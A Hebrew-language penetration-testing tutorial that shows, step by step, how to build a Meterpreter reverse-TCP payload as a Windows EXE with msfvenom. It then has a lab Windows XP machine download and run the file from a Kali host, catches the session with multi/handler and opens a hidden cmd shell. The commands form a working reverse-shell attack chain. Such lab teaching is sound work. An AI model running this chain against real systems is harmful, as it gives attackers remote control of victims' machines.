Home אבטחת מידעPenetration Testing - Offense הסבר על Msfvenom יצירת Payload כקובץ Exe והרצתו על Windows

הסבר על Msfvenom יצירת Payload כקובץ Exe והרצתו על Windows

0 comment
נהנתם מהמאמר ? שתפו אותו!

כל הזכויות שמורות לטל בן שושן – Shushan.co.il

יצירת Payload כקובץ Exe והרצתו על Windows


על מנת לבצע את המאמר, יש לעבור תחילה על המאמרים הבאים:
Kali & Metasploit

התקנת Kali 2017.3
הגדרה ראשונית של Kali והוספת Repository
הסבר הגדרה והפעלת Metasploit
פקודות ושימוש ב Metasploit


Msfvenom הוא שילוב של שני כלים ישנים: ה msfpayload וה msfencode והוא הכלי החדש אשר משלב אותם, למעשה Msfvenom יוצר payload לפי פרטמרים שהכנסתם.
במדריך זה נראה כיצד להשתמש ב Msfvenom,

במדריך זה צריך

  • Windows XP
  • Kali

נפתח אתה terminal ונקיש

LHOST הוא ה local host זה אומר כתובת ה IP של ה KALI שלכם

sudo msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.135 LPORT=1234 -f exe > meta.exe

כך יצרנו קובץ payload ששמו meta.exe, כעת בצעו את הפקודה, על מנת להעתיק את ה payload לאתר כך שנוכל להוריד אותו מאוחר יותר ב Windows XP

root@kali:~# cp meta.exe /var/www/html

כעת נפתח Terminal ונקיש

sudo msfconsole

נשתמש ב Exploit בשם handler

msf > use exploit/multi/handler

נגדיר את ה payload

msf exploit (handler) >  set payload windows/meterpreter/reverse_tcp

כעת נרשום , על מנת לראות שכל הפרטים נכונים

msf exploit (handler) > show options

לא, אין כתובת IP של ה KALI שלנו ויש לשנות את הפורט, לפורט שהגדרנו כאשר יצרנו את ה payload על ידי msfvenom (הפורט הוא:1234)

נגדיר כעת את הכתובת IP של הKALI ואת הפורט

msf exploit (handler) > set LHOST 192.168.1.135
msf exploit (handler) > set LPORT 1234

מעולה, כעת נפעיל את ה exploit

msf exploit (handler) > exploit

ניתן לראות שהוא רושם

Exploit runing as background job 0

הוא נכנס ישירות להמתנה כיוון שהוא עדיין לא קיבל תקשורת מכל מחשב ברשת שלו אנו מחכים שיפעיל את קובץ ה paylaod שלנו

נעבור כעת ל Windows XP:

כעת ניכנס לכתובת ה KALI שלנו ולקובץ ששמנו שם, נפתח את הדפדפן

http://192.168.1.135/meta.exe

ונפעיל את הקובץ

כעת נחזור ל KALI שלנו ונוכל לראות שהוא הצליח לפתוח שיחה מ192.168.1.135:1234 שהוא הקאלי שלנו אל המחשב של ה XP = 192.168.1.110

והוא רושם שהוא פתח אותו ברקע

על מנת לגשת לjob שנפתח ברקע יש להקיש

msf exploit (handler) > sessions -l

ניתן לראות שה session שנפתח מספרו 1

אז נקיש

msf exploit (handler) > sessions -i 1

זהו! אם אתם רוצים לגשת ל cmd ולא ל meterpreter (פחות מומלץ, יש יותר אפשרויות ב meterpreter )

נקיש

meterpreter > execute -f cmd -i -H

מאמרים קשורים

Leave a Comment